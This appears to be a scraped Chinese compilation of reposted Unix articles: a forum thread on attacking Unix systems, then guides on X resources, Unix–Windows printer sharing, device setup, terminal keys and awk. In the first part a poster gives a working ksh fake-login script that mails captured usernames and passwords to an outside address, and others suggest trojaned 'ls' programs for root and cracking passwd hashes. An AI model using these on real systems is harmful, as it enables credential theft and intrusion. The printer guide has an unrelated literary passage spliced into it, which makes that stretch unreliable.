unix安全架构[转帖]Windows系统
unix安全架构[转帖]Windows系统(精选9篇)
unix安全架构[转帖]Windows系统 第1篇
当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”,他凭什么为这样的网络就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个网络的安全性呢?曾听说过这样的定义:“网络的安全程度定义为该网络被攻击成功的可
当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个网络的安全性呢?曾听说过这样的定义:“网络的安全程度定义为该网络被攻击成功的可能性”,听起来倒是蛮有哲理味儿的,可如何实际操作呢?计算机系统的安全程度可以用“橘皮书”的定义来评价,网络系统是不是也可以搞出个“橘皮书”什么的呢?
当你左一层右一层地对信息加密时,心里也许认为层数越多就越安全。但事实是不是真的这样呢?当你又加了一层密时,到底增加了多少的安全性呢?
“喏,你看....”,你指着自己的设计对用户说“即使有人突破了第一道防线,我们还有第二道防线呢。即使第二道也被突破,我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你,心里不禁嘀咕:“干嘛搞这么复杂....真的非这样不可吗?我可是只是想保证两个星期的安全性啊。”
为了防止大灰狼进来,小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢?比如说....壁炉的烟囱!聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的,我们的系统管理员们呢?
计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明,以便从理论上深入开展网络安全的研究?这样就可以摆脱目前的被动地“打补丁”的做法。
网络入侵和网络安全是一对矛盾,没有Hacker高手就不会有好的安全系统。这听起来有些悲哀,可惜是事实。为了提高我们的安全防范能力,我看是不是先培养一批Hacker出来(中国的Hacker太少了)。在此提供几条线索供Hacker们参考:
用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户的口令(当然包括超级用户的)。
sendmail 5.5.9版本以前有个debug命令, 是个强有力的远程调试工具,可惜也是一个大bug。
冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然OSPF协议中有关于身份认证的部分,但很少有人用到。
NFS、NIS都是不太安全的。
1988年的WORM网络病毒最厉害的地方并不是传说中的利用 sendmail的缺陷,而是对看来毫无破绽的finger的攻击!
很多系统管理员为了关机方便而设立了halt之类的特殊用户, 怎样利用这一点来攻击呢?
侵入了一个系统之后,如何“打扫战场”让管理员看不出来? 如何潜伏下来以致于管理员除了重新安装系统,别无清除的办法呢?
....
这些东西都不是我凭空想象的,国外的Hacker们就是这么做的(他们还有很多更厉害的招数呢),
很多东西我也不知道该怎么做,Hacker们自己努力吧。
1-----
: 1).用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户: 的口令(当然包括超级用户的)。
: 3).冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然: OSPF协议中有关于身份认证的部分,但很少有人用到。
这两个是取得口令的最简洁之法, 呵呵. ------- 我也有一简洁之法:
把下面的shell 命令用 ksh 运行
clear
stty ignbrk
echo “login:c”
read logname
stty -echo
echo “password:c”
read passwd
print “ Login incorrect ”
print $logname $passwd | mail cxterm.bbs@jet.ncic.ac.cn
stty 0
stty echo
exit
-----
嗯,是一种方法,但必须你能访问对方的机器才能偷到口令。常用的方法
还有在自己能用的目录里放上叫 “ls” “grep” 之类的程序, 希望 root能不小心运行到她们, 一旦获得 root 权限, 呵呵, 下面的我就不用说了. 所以 root 的PATH里不应当有 . (当前目录).
更彻底的方法就是根据passwd文件里面的密文算口令的明文, 我曾经编过
一个算passwd的程序, 能在 Pentium 100机器上用半个小时左右的时间算出长度<=5 && 只包含字母和数字 的口令. 因此选口令的时候要注意. 用jack14既可,攻击得当的话6位不含大写字母的pass也能在一月内破掉。
这一方法要求必须取得对方含有密文的passwd文件(有shadow passwd的机器上需要取得/etc/shadow), 所以要注意机器上passwd的安全性 (不要试图取消用户对该文件的读权限, 所有的用户都需要能读该文件).
-----
解决的办法, 可以用firewall屏蔽网段。
也可以使用SSL(secure socket layber)替代原有的socket明文数据传输。
-----
:若干机器上都是用户可以直接su halt, 然后就成为超级用户了, :-)
:有的机器你可以用rlogin hostname -l halt 对方的机器就被shutdown了,: 哈哈.
我用su halt 然后就shutdown了. 有n个文件没有存盘.
[b:59a25412aa][/b:59a25412aa][b:59a25412aa][/b:59a25412aa]
原文转自:www.ltesting.net
unix安全架构[转帖]Windows系统 第2篇
这些档案只能被特定的应用程式读取:
1.应用程式--类别(Application-class)resource档案:这个档案包含
了机器一般性(site-wide)对应用程式的类别之预设值,通常为系统
管理者所设定。它的名称就是应用程式类别的名称,在标准安装的系
统中它是储存在目录/usr/lib/X11/app-defaults中,例如xterm的
相关档案为:
/usr/lib/X11/app-defaults/XTerm
在core版中,有一个相关於Xmh的此种档案,观察此档案可以看所使
用之设定的型态。
2.你自己拥有的应用程式专属的resource档案:这个档案的名称和上述
相同,但它存放在不同的地方----由shell变数$XAPPLRESDIR所指定
的目录,如果未定义,则放在home目录。例如对Xmh类别的程式,它
的档案放在下列二者之一:
$XAPPLRESDIR/Xmh
$HOME/Xmh
你可以使用此种档案,处理方法1中你不喜欢的site-wide档案使其无
unix安全架构[转帖]Windows系统 第3篇
在UNIX和Windows NT中的TCP/IP支持产品都提供了TCP/IP打印的功能, 即UNIX可以共享Windows NT的打印机, Windows NT也可以共享UNIX的打印机, UNIX之间也可以相互共享打印机, 而Windows操作系统中的TCP/IP支持产品只提供Microsoft网络打印功能, 以实现Microsoft的各种操作系统之间的打印机共享。可以作为打印服务器的系统可以是UNIX或者Windows NT, 其他操作系统作为其客户端。Windows客户端在使用共享打印机时, 先以Microsoft网络打印服务与支持TCP/IP打印的Window NT共享打印机 (作为Windows NT的打印客户端) , 再与其他打印服务器相连。就UNIX操作系统而言, 要支持TCP/IP打印功能, 其服务器和客户端的UNIX操作系统必须启动守护进程lpd;而对于Windows NT来说, 要支持TCP/IP打印功能, 必须启动“TCP/IP打印服务”, 它类似于UNIX中的守护进程。
1 windows NT与UNIX系统之间实现共享
按由UNIX作打印服务器和Windows NT作打印服务器两种情况分别予以说明。为了简便, 假定已经按TCP/IP协议建立了计算机网络, 网络中有三个节点。
节点一, 操作系统为UNIX, IP地址是10.29.36.1, 主机名是node1;节点二, 操作系统是UNIX, IP地址是10.29.36.2, 主机名是node2;节点三, 操作系统是Windows NT, IP地址是10.29.36.3, 主机名是node3;上述节点的子网掩码 (netmask) 都是255.255.255.0。
配置网络打印机前的准备:
(1) 在UNIX操作系统下安装TCP/IP产品, 配置TCP/IP网络, 分配IP地址, 指定子网掩码。
(2) 在Windows NT操作系统下安装TCP/IP产品, 配置TCP/IP网络, 分配IP地址, 指定子网掩码。
(3) 用命令ping测试所有网络节点是否连
1.1 node1作为打印服务器, 其他两个节点作为客户端
1.1.1 打印服务器node1的配置
在UNIX中为node1配置本地普通打印机
(1) 以root用户注册, 执行命令mkdev lp (配置过程从略, 可以参见相关UNIX系统管理资料) 。
(2) 激活打印机以root用户注册, 执行命令enable mp和accept mp。
(3) 将打印机mp配置成可供客户端使用的打印机。
以root用户注册, 执行命令mkdev rlp#。
(4) 设定可以使用该打印机的客户机。
此项操作可以在文件/etc/hosts.equiv和/etc/hosts.lpd中配置, 由于文件/etc/hosts.equiv中配置的节点与本机是等价主机, 会增加许多额外的特权, 给系统带来不安全因素, 建议使用文件/etc/hosts.lpd配置网络节点。
1.1.2 客户端node2的配置
(1) 编辑网络主机名文件。
节点node2的文件/etc/hosts中应该对网络的主机名和IP地址对应关系予以说明。
(2) 配置客户端网络打印机mp。
以root用户登录, 执行命令mkdev rlp。
(3) 测试。
在节点node2中以任意用户注册, 输入命令l|lp。
在节点node1的打印机mp上应该出现相应内容, 或者在节点node1上以任意用户注册, 输入命令lpstat-t后, 应该出现node2所发打印命令产生的打印队列。
如果没有出现上述结果, 可以查看node2中的文件/usr/spool/lpd/status, 了解当前网络打印机的状态及打印不成功的原因。
1.1.3 客户端node3的配置
(1) 安装TCP/IP网络打印。
选择“开始;设置;控制面版;网络;服务;添加”。打开“选定网络服务”对话框, 从“网络服务”列表中选择“Microsoft TCP/IP打印”, 然后单击“确定”按钮。输入安装文件源路径。回到“网络”对话框后, 单击“关闭”按钮。安装完成后, 重新启动。
(2) 设置TCP/IP网络打印过程。
选择“开始;设置;打印机;添加打印机”。打开“打印机管理者”对话框后, 选择“我的电脑”, 然后单击“下一步”按钮。再打开“打印机端口配置”对话框后, 单击“添加端口”。然后“打印机端口”对话框后, 选择“LPR Port”。出现“添加LPR兼容打印机”对话框时, 在“提供lpd的服务器的名称或地址”处, 输入打印机服务器node1的IP地址“10.29.36.1”, 在“服务器上的打印机或打印队列名”处, 输入节点node1配置好的打印机名mp, 单击“确定”按钮回到前一个对话框, 单击“关闭”按钮回到“打印机端口配置”对话框后, 选择刚配置好的打印机端口, 单击“下一步”按钮。出现“打印机驱动程序选择”会话框后, 选择合适的打印机驱动程序, 再单击“下一步”按钮。出现“打印机名称”会话框后, 输入打印机名称 (任意) , 此处输入net, 然后单击“下一步”按钮。下面选择测试打印机, 以检测打印机的设置是否正常。如果配置正确, 将在节点node1的打印机mp上打印出测试页, 或者产生打印队列。单击“完成”按钮结束。
1.2 node3作为打印服务器, 其他两个节点作为客户端
1.2.1 打印服务器node3的配置
(1) 安装本地打印机mp。
选择“开始;设置;打印机;添加打印机”。出现“打印机管理者”对话框后, 选择“我的电脑”, 然后单击“下一步”按钮。出现“打印机端口配置”对话框后, 选择打印机所连接端口, 一般选择“LPT1”, 单击“下一步”按钮。出现“打印机驱动程序选择”会话框后, 选择合适的打印机驱动程序后, 单击“下一步”按钮。出现“打印机名称”会话框后, 输入打印机名称 (任意) , 此处输入mp, 然后单击“下一步”按钮。下面选择测试打印机, 以检测打印机的设置是否正常。如果配置正确, 将在本机的打印机mp上打印出测试页, 或者产生打印队列。单击“完成”按钮结束。
(2) 安装TCP/IP网络打印服务。
选择“开始;设置;控制面版;网络;服务;添加”。出现“选定网络服务”对话框时, 从“网络服务”列表中选择“Microsoft TCP/IP打印”, 然后单击“确定”按钮。输入安装文件源路径。回到“网络”对话框后, 单击“关闭”按钮。安装完成后, 重新启动。
(3) 启动TCP/IP网络打印服务。
选择“开始;设置;控制面版;服务;TCP/IP Print Server”, 然后单击“开始”按钮。
1.2.2 客户端node1、node2的配置
(1) 编辑网络主机名文件。
本机的文件/etc/hosts中应该对网络的主机名和IP地址对应关系予以说明。
(2) 配置客户端网络打印机mp。
以root用户注册, 执行命令mkdev rlp。
(3) 测试。
在节点node1、node2中以任意用户注册, 输入命令l|lp。
在节点node3的打印机mp上应该出现相应内容, 或者在节点node3的打印机队列管理上, 应该出现node1、node2所发打印命令产生的打印队列。
2 Windows XP与UNIX系统之间实现共享
实现Windows XP与UNIX系统之间共享打印机的具体步骤如下。
第一步:在XP中删除旧的TCP/IP远程打印机设置。 (下转299页) 把我的恶棍人物写得恶贯满盈, 我可以使他们无法做出善举, 因此就可以避免因动机和品质的好坏混杂而引起道德上的混乱。但是我还是要对创造这些人物负责任我不怕这么做。”而写“真实”正是现实主义作家都竭力主张的, 力求讲真理, 只反映真景真事, 并描述自己所生活的环境。主张既不夸张, 也不隐讳地描写生活。
其次, 哈特还用他特有的哈特式的幽默揭露了美国社会黑暗的一面。《咆哮营的幸运儿》中, 有一件事引起咆哮营一阵骚乱, 这件事不是“一场格斗, 因为在1850年格斗并不稀奇”。因为以前“法国佬和夏威夷佬在酒吧旁互相枪击致死那天, 赌鬼们还镇定自若的赌下去。”而是由一个新生儿降生所引起的。这一件再普通不过的事在当时与格斗, 枪杀比起来却是一件新鲜事。《扑克滩的放逐人》里, 那些人之所以被放逐是“一个秘密委员会已经决定把镇上所有不正派的人都除掉”。对于赌徒奥克赫斯特“委员会有几个主张绞死他, 以 (上接81页) (1) 依次点开“开始”“设置”打印机和传真”。
(2) 删除旧的TCP/IP远程打印机设置。如果不做这一步可能造成系统的冲突。
第二步:进行UNIX组件的安装。
(1) 依次点开“开始”“设置”“控制面板”。
(2) 打开“网络连接”文件夹。
(3) 在“高级 (N) ”菜单中, 选择“可选网络组件”。
(4) 在“WINDOWS可选的网络组件向导”对话框中勾取“其它网络文件和打印服务”选项, 然后进行“下一步”安装“UNIX打印服务”。根据提示放入Windows XP CD光盘进行安装。安装完后可点击“详细信息”查询一下是否安装完成。
第三步:添加远程打印机。
(1) 依次打开“开始”“设置”“打印机和传真”, 启动“添加打印机”。
(2) 在“本地或网络打印机”对话框中, 选取“连接到这台计算机的本地打印机”, 并取消“自动检测并安装我的即插即用打印机”选项, 进行下一步。
(3) 在“选择选择机端口”对话框中选取“创建新端口”, 再选取“LPR PORT”选项, 进行下一步。
(4) 在“添加LPR兼容的打印机”对话框中, 依次输入“提供LPD服务器的名称或地址”, 如:192.168.100.1。“服务器上的打印机名称或打印队列名称”, 如:UXEP。这一点需根据UNIX网络中的LPD打印服务器上的相关信息进行设置。确认后将产生一个虚拟端口, 它指向提供lpd的打印服务器上的打印机。
(5) 选中这个端口, 然后选择打印机厂商和型号, 输入当前配置的网络打印机的名字 (如上述UXEP) , 系统将把相应的打印机驱动程序分配给这个端口。设置打印机为不共享。最后打印测试页检测完成即可。
unix安全架构[转帖]Windows系统 第4篇
server专属的(因为不同的显示器有不同的键盘)。另一个server专属的特徵
为显示器是彩色或单色。
Resource和这些有关的项目会被所有与这个终端机相关的应用程式应用到,
并且不论应用程式在何主机上执行。(例如,如果你使用的显示器为单色,则
不管你的应用程式在何处执行,你还是不会要它使用彩色。)
储存server专属设定的方法是:
3.server的RESOURCE_MANAGER性质(property):(你可在12章中xprop
的输出看到),使用下述的xrdb程式,你可以在server的根视窗的
RESOURCE_MANAGER性质中储存resource设定。它的优点如下:
(a)你不需编辑任何档案即可设定预设值。(当你为了了解系统而实
验系统时特别有用)
(b)resource被server掌握,所以不论应用程式在那一部主机上执行,
均能被所有的应用程式应用。在我们的□例中,在neptune的
情况下特别有用,甚至在不和我们的显示机器venus共享档案系
统时,它仍然自动地选出为了使用此显示器所必需的resource设定。
4.你的$HOME/.Xdefaults档案:(只有在根视窗没有RESOURCE_MANAGER
性质定义的情况下使用)。如果你对xrdb尚不熟悉,你便可以此档取
unix安全架构[转帖]Windows系统 第5篇
打印机:
1.mkdev parallel.
2.mkdev lp (printer name:lp1;interface:epson;device name:/dev/lp0)
多用户卡:
1.mkdev serial(com1;x port;9600)
2.enable tty1a tty1b tty1c tty1d
局域网卡:
1、增加相应驱动程序
一般网卡都带有UNIX的驱动程序,要装入UNIX,并记住UNIX的设备名(如nat0)
2、配置网卡的协议.netconfig)
首先选择增加一个CHAIN,再选TCP/IP,输入相应的IRQ和I/O ADDRESS,
最后输入网卡的IP地址,重新链接内核,
unix外设配置Windows系统
,
光驱:
1、配置光驱
mkdev cdrom
选择增加一个CD-ROM DRIVER,并输入支持这个设备的卡的型号、
控制器号ID(0-7)、主适配器(0-1)、逻辑单元号LUN(一般为0)
重新链接内核。
2、使用CD-ROM光盘
mount /dev/cd0 /mnt
unix安全架构[转帖]Windows系统 第6篇
○第七节终端机常用控制键○
□Ctrl-C中断程式的执行。
Ctrl-Z暂停程式的执行,稍後可下fg或bg指令继续,若未下fg或
bg指令继续执行,该process仍会留在系统内。
Ctrl-S或Pause键萤幕暂停输出
Ctrl-Q萤幕恢复输出
Ctrl-DEOT(EndofTransmission)
□有时候按了键盘,萤幕却没任何反应,看起来好像当机,可能就是不小心按了
Ctrl-S键,此时按Ctrl-Q就可恢复正常,
□若你输入中文时,萤幕却出现乱码,请先於UNIX提示符号下打sttypass8,
系统就不会过滤字元的bit7(themostsignificantbit)。
□若你进编辑器或者其他的全萤幕程式,出现萤幕文字上卷的问题时,请先於
UNIX提示符号下打sttyrows24或resize就可恢复正常。
unix安全架构[转帖]Windows系统 第7篇
什么是awk?
你可能对UNIX比较熟悉,但你可能对awk很陌生,这一点也不奇怪,的确,与其优秀的功能相比,awk还远没达到它应有的知名度。awk是什么?与其它大多数UNIX命令不同的是,从名字上看,我们不可能知道awk的功能:它既不是具有独立意义的英文单词,也不是几个相关单词的缩写。事实上,awk是三个人名的缩写,他们是:Aho、(Peter)Weinberg和(Brain)Kernighan。正是这三个人创造了awk---一个优秀的样式扫描与处理工具。
AWK的功能是什么?与sed和grep很相似,awk是一种样式扫描与处理工具。但其功能却大大强于sed和grep。awk提供了极其强大的功能:它几乎可以完成grep和sed所能完成的全部工作,同时,它还可以可以进行样式装入、流控制、数学运算符、进程控制语句甚至于内置的变量和函数。它具备了一个完整的语言所应具有的几乎所有精美特性。实际上,awk的确拥有自己的语言:awk程序设计语言,awk的三位创建者已将它正式定义为:样式扫描和处理语言。
为什么使用awk?
即使如此,你也许仍然会问,我为什么要使用awk?
使用awk的第一个理由是基于文本的样式扫描和处理是我们经常做的工作,awk所做的工作有些象数据库,但与数据库不同的是,它处理的是文本文件,这些文件没有专门的存储格式,普通的人们就能编辑、阅读、理解和处理它们。而数据库文件往往具有特殊的存储格式,这使得它们必须用数据库处理程序来处理它们。既然这种类似于数据库的处理工作我们经常会遇到,我们就应当找到处理它们的简便易行的方法,UNIX有很多这方面的工具,例如sed、grep、sort以及find等等,awk是其中十分优秀的一种。
使用awk的第二个理由是awk是一个简单的工具,当然这是相对于其强大的功能来说的。的确,UNIX有许多优秀的工具,例如UNIX天然的开发工具C语言及其延续C++就非常的优秀。但相对于它们来说,awk完成同样的功能要方便和简捷得多。这首先是因为awk提供了适应多种需要的解决方案:从解决简单问题的awk命令行到复杂而精巧的awk程序设计语言,这样做的好处是,你可以不必用复杂的方法去解决本来很简单的问题。例如,你可以用一个命令行解决简单的问题,而C不行,即使一个再简单的程序,C语言也必须经过编写、编译的全过程。其次,awk本身是解释执行的,这就使得awk程序不必经过编译的过程,同时,这也使得它与shellscript程序能够很好的契合。最后,awk本身较C语言简单,虽然awk吸收了C语言很多优秀的成分,熟悉C语言会对学习awk有很大的帮助,但awk本身不须要会使用C语言――一种功能强大但需要大量时间学习才能掌握其技巧的开发工具。
使用awk的第三个理由是awk是一个容易获得的工具。与C和C++语言不同,awk只有一个文件(/bin/awk),而且几乎每个版本的UNIX都提供各自版本的awk,你完全不必费心去想如何获得awk。但C语言却不是这样,虽然C语言是UNIX天然的开发工具,但这个开发工具却是单独发行的,换言之,你必须为你的UNIX版本的C语言开发工具单独付费(当然使用D版者除外),获得并安装它,然后你才可以使用它。
基于以上理由,再加上awk强大的功能,我们有理由说,如果你要处理与文本样式扫描相关的工作,awk应该是你的第一选择。在这里有一个可遵循的一般原则:如果你用普通的shell工具或shellscript有困难的话,试试awk,如果awk仍不能解决问题,则便用C语言,如果C语言仍然失败,则移至C++。
awk的调用方式
前面曾经说过,awk提供了适应多种需要的不同解决方案,它们是:
一、awk命令行,你可以象使用普通UNIX命令一样使用awk,在命令行中你也可以使用awk程序设计语言,虽然awk支持多行的录入,但是录入长长的命令行并保证其正确无误却是一件令人头疼的事,因此,这种方法一般只用于解决简单的问题。当然,你也可以在shellscript程序中引用awk命令行甚至awk程序脚本。
二、使用-f选项调用awk程序。awk允许将一段awk程序写入一个文本文件,然后在awk命令行中用-f选项调用并执行这段程序。具体的方法我们将在后面的awk语法中讲到。
三、利用命令解释器调用awk程序:利用UNIX支持的命令解释器功能,我们可以将一段awk程序写入文本文件,然后在它的第一行加上:
#!/bin/awk-f
并赋予这个文本文件以执行的权限。这样做之后,你就可以在命令行中用类似于下面这样的方式调用并执行这段awk程序了。
$awk脚本文本名待处理文件
awk的语法:
与其它UNIX命令一样,awk拥有自己的语法:
awk[-Fre][parameter...][’prog’][-fprogfile][in_file...]
参数说明:
-Fre:允许awk更改其字段分隔符。
parameter:该参数帮助为不同的变量赋值。
’prog’:awk的程序语句段。这个语句段必须用单拓号:’和’括起,以防被shell解释。这个程序语句段的标准形式为:
’pattern{action}’
其中pattern参数可以是egrep正则表达式中的任何一个,它可以使用语法/re/再加上一些样式匹配技巧构成。与sed类似,你也可以使用“,”分开两样式以选择某个范围。关于匹配的细节,你可以参考附录,如果仍不懂的话,找本UNIX书学学grep和sed(本人是在学习ed时掌握匹配技术的)。action参数总是被大括号包围,它由一系统awk语句组成,各语句之间用“;”分隔。awk解释它们,并在pattern给定的样式匹配的记录上执行其操作。与shell类似,你也可以使用“#”作为注释符,它使“#”到行尾的内容成为注释,在解释执行时,它们将被忽略。你可以省略pattern和action之一,但不能两者同时省略,当省略pattern时没有样式匹配,表示对所有行(记录)均执行操作,省略action时执行缺省的操作――在标准输出上显示。
-fprogfile:允许awk调用并执行progfile指定有程序文件。progfile是一个文本文件,他必须符合awk的语法。
in_file:awk的输入文件,awk允许对多个输入文件进行处理。值得注意的是awk不修改输入文件。如果未指定输入文件,awk将接受标准输入,并将结果显示在标准输出上。awk支持输入输出重定向。
awk的记录、字段与内置变量:
前面说过,awk处理的工作与数据库的处理方式有相同之处,其相同处之一就是awk支持对记录和字段的处理,其中对字段的处理是grep和sed不能实现的,这也是awk优于二者的原因之一。在awk中,缺省的情况下总是将文本文件中的一行视为一个记录,而将一行中的某一部分作为记录中的一个字段。为了操作这些不同的字段,awk借用shell的方法,用$1,$2,$3...这样的方式来顺序地表示行(记录)中的不同字段。特殊地,awk用$0表示整个行(记录)。不同的字段之间是用称作分隔符的字符分隔开的。系统默认的分隔符是空格。awk允许在命令行中用-Fre的形式来改变这个分隔符。事实上,awk用一个内置的变量FS来记忆这个分隔符。awk中有好几个这样的内置变量,例如,记录分隔符变量RS、当前工作的记录数NR等等,本文后面的附表列出了全部的内置变量。这些内置的变量可以在awk程序中引用或修改,例如,你可以利用NR变量在模式匹配中指定工作范围,也可以通过修改记录分隔符RS让一个特殊字符而不是换行符作为记录的分隔符。
例:显示文本文件myfile中第七行到第十五行中以字符%分隔的第一字段,第三字段和第七字段:
awk-F%’NR==7,NR==15{printf$1$3$7}’
awk的内置函数
awk之所以成为一种优秀的程序设计语言的原因之一是它吸收了某些优秀的程序设计语言(例如C)语言的许多优点。这些优点之一就是内置函数的使用,awk定义并支持了一系列的内置函数,由于这些函数的使用,使得awk提供的功能更为完善和强大,例如,awk使用了一系列的字符串处理内置函数(这些函数看起来与C语言的字符串处理函数相似,其使用方式与C语言中的函数也相差无几),正是由于这些内置函数的使用,使awk处理字符串的功能更加强大。本文后面的附录中列有一般的awk所提供的内置函数,这些内置函数也许与你的awk版本有些出入,因此,在使用之前,最好参考一下你的系统中的联机帮助。
作为内置函数的一个例子,我们将在这里介绍awk的printf函数,这个函数使得awk与c语言的输出相一致。实际上,awk中有许多引用形式都是从C语言借用过来的。如果你熟悉C语言,你也许会记得其中的printf函数,它提供的强大格式输出功能曾经带我们许多的方便。幸运的是,我们在awk中又和它重逢了。awk中printf几乎与C语言中一模一样,如果你熟悉C语言的话,你完全可以照C语言的模式使用awk中的printf。因此在这里,我们只给出一个例子,如果你不熟悉的话,请随便找一本C语言的入门书翻翻。
例:显示文件myfile中的行号和第3字段:
$awk’{printf“%03d%s ”,NR,$1}’myfile
在命令行使用awk
按照顺序,我们应当讲解awk程序设计的内容了,但在讲解之前,我们将用一些例子来对前面的知识进行回顾,这些例子都是在命令行中使用的,由此我们可以知道在命令行中使用awk是多么的方便。这样做的原因一方面是为下面的内容作铺垫,另一方面是介绍一些解决简单问题的方法,我们完全没有必要用复杂的方法来解决简单的问题----既然awk提供了较为简单的方法的话。
例:显示文本文件mydoc匹配(含有)字符串“sun”的所有行。
$awk’/sun/{print}’mydoc
由于显示整个记录(全行)是awk的缺省动作,因此可以省略action项。
$awk’/sun/’mydoc
例:下面是一个较为复杂的匹配的示例:
$awk’/[Ss]un/,/[Mm]oon/{print}’myfile
它将显示第一个匹配Sun或sun的行与第一个匹配Moon或moon的行之间的行,并显示到标准输出上。
例:下面的示例显示了内置变量和内置函数length()的使用:
$awk’length($0)>80{printNR}’myfile
该命令行将显示文本myfile中所有超过80个字符的行号,在这里,用$0表示整个记录(行),同时,内置变量NR不使用标志符’$’。
例:作为一个较为实际的例子,我们假设要对UNIX中的用户进行安全性检查,方法是考察/etc下的passwd文件,检查其中的passwd字段(第二字段)是否为“*”,如不为“*”,则表示该用户没有设置密码,显示出这些用户名(第一字段)。我们可以用如下语句实现:
#awk-F:’$2==“”{printf(“%snopassword! ”,$1’/etc/passwd
在这个示例中,passwd文件的字段分隔符是“:”,因此,必须用-F:来更改默认的字段分隔符,这个示例中也涉及到了内置函数printf的使用。
awk的变量
如同其它程序设计语言一样,awk允许在程序语言中设置变量,事实上,提供变量的功能是程序设计语言的其本要求,不提供变量的程序设计语言本人还从未见过。
awk提供两种变量,一种是awk内置的变量,这前面我们已经讲过,需要着重指出的是,与后面提到的其它变量不同的是,在awk程序中引用内置变量不需要使用标志符“$”(回忆一下前面讲过的NR的使用)。awk提供的另一种变量是自定义变量。awk允许用户在awk程序语句中定义并调用自已的变量。当然这种变量不能与内置变量及其它awk保留字相同,在awk中引用自定义变量必须在它前面加上标志符“$”。与C语言不同的是,awk中不需要对变量进行初始化,awk根据其在awk中第一次出现的形式和上下文确定其具体的数据类型。当变量类型不确定时,awk默认其为字符串类型。这里有一个技巧:如果你要让你的awk程序知道你所使用的变量的明确类型,你应当在在程序中给它赋初值。在后面的实例中,我们将用到这一技巧。
运算与判断:
作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的几本相同:如+、-、*、/、%等等,同时,awk也支持C语言中类似++、--、+=、-=、=+、=-之类的功能,这给熟悉C语言的使用者编写awk程序带来了极大的方便。作为对运算功能的一种扩展,awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。
作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外。awk中允许进行多种测试,如常用的==(等于)、!=(不等于)、>(大于)、<(小于)、>=(大于等于)、>=(小于等于)等等,同时,作为样式匹配,还提供了~(匹配于)和!~(不匹配于)判断。
作为对测试的一种扩充,awk也支持用逻辑运算符:!(非)、&&(与)、||(或)和括号()进行多重判断,这大大增强了awk的功能。本文的附录中列出了awk所允许的运算、判断以及操作符的优先级。
awk的流程控制
流程控制语句是任何程序设计语言都不能缺少的部分。任何好的语言都有一些执行流程控制的语句。awk提供的完备的流程控制语句类似于C语言,这给我们编程带来了极大的方便。
1、BEGIN和END:
在awk中两个特别的表达式,BEGIN和END,这两者都可用于pattern中(参考前面的awk语法),提供BEGIN和END的作用是给程序赋予初始状态和在程序结束之后执行一些扫尾的工作。任何在BEGIN之后列出的操作(在{}内)将在awk开始扫描输入之前执行,而END之后列出的操作将在扫描完全部的输入之后执行。因此,通常使用BEGIN来显示变量和预置(初始化)变量,使用END来输出最终结果。
例:累计销售文件xs中的销售金额(假设销售金额在记录的第三字段):
$awk
>’BEGIN{FS=“:”;print“统计销售金额”;total=0}
>{print$3;total=total+$3;}
>END{printf“销售金额总计:%.2f”,total}’sx
(注:>是shell提供的第二提示符,如要在shell程序awk语句和awk语言中换行,则需在行尾加反斜杠)
在这里,BEGIN预置了内部变量FS(字段分隔符)和自定义变量total,同时在扫描之前显示出输出行头。而END则在扫描完成后打印出总合计。
2、流程控制语句
awk提供了完备的流程控制语句,其用法与C语言类似。下面我们一一加以说明:
2.1、if...else语句:
格式:
if(表达式)
语句1
else
语句2
格式中“语句1”可以是多个语句,如果你为了方便awk判断也方便你自已阅读,你最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为:
if(表达式1)
{if(表达式2)
语句1
else
语句2
}
语句3
else{if(表达式3)
语句4
else
语句5
}
语句6
当然实际操作过程中你可能不会用到如此复杂的分枝结构,这里只是为了给出其样式罢了。
2.2、while语句
格式为:
while(表达式)
语句
2.3、do-while语句
格式为:
do
{
语句
}while(条件判断语句)
2.4、for语句
格式为:
for(初始表达式;终止条件;步长表达式)
{语句}
在awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。continue从当前位置跳到循环开始处执行。对于exit的执行有两种情况:当exit语句不在END中时,任何操作中的exit命令表现得如同到了文件尾,所有模式或操作执行将停止,END模式中的操作被执行。而出现在END中的exit将导致程序终止。
例:为了
awk中的自定义函数
定义和调用用户自己的函数是几乎每个高级语言都具有的功能,awk也不例外,但原始的awk并不提供函数功能,只有在nawk或较新的awk版本中才可以增加函数。
函数的使用包含两部分:函数的定义与函数调用。其中函数定义又包括要执行的代码(函数本身)和从主程序代码传递到该函数的临时调用。
awk函数的定义方法如下:
function函数名(参数表){
函数体
}
在gawk中允许将function省略为func,但其它版本的awk不允许。函数名必须是一个合法的标志符,参数表中可以不提供参数(但在调用函数时函数名后的一对括号仍然是不可缺少的),也可以提供一个或多个参数。与C语言相似,awk的参数也是通过值来传递的。
在awk中调用函数比较简单,其方法与C语言相似,但awk比C语言更为灵活,它不执行参数有效性检查。换句话说,在你调用函数时,可以列出比函数预计(函数定义中规定)的多或少的参数,多余的参数会被awk所忽略,而不足的参数,awk将它们置为缺省值0或空字符串,具体置为何值,将取决于参数的使用方式。
awk函数有两种返回方式:隐式返回和显式返回。当awk执行到函数的结尾时,它自动地返回到调用程序,这是函数是隐式返回的。如果需要在结束之前退出函数,可以明确地使用返回语句提前退出。方法是在函数中使用形如:return返回值格式的语句。
例:下面的例子演示了函数的使用。在这个示例中,定义了一个名为print_header的函数,该函数调用了两个参数FileName和PageNum,FileName参数传给函数当前使用的文件名,PageNum参数是当前页的页号。这个函数的功能是打印(显示)出当前文件的文件名,和当前页的页号。完成这个功能后,这个函数将返回下一页的页号。
nawk
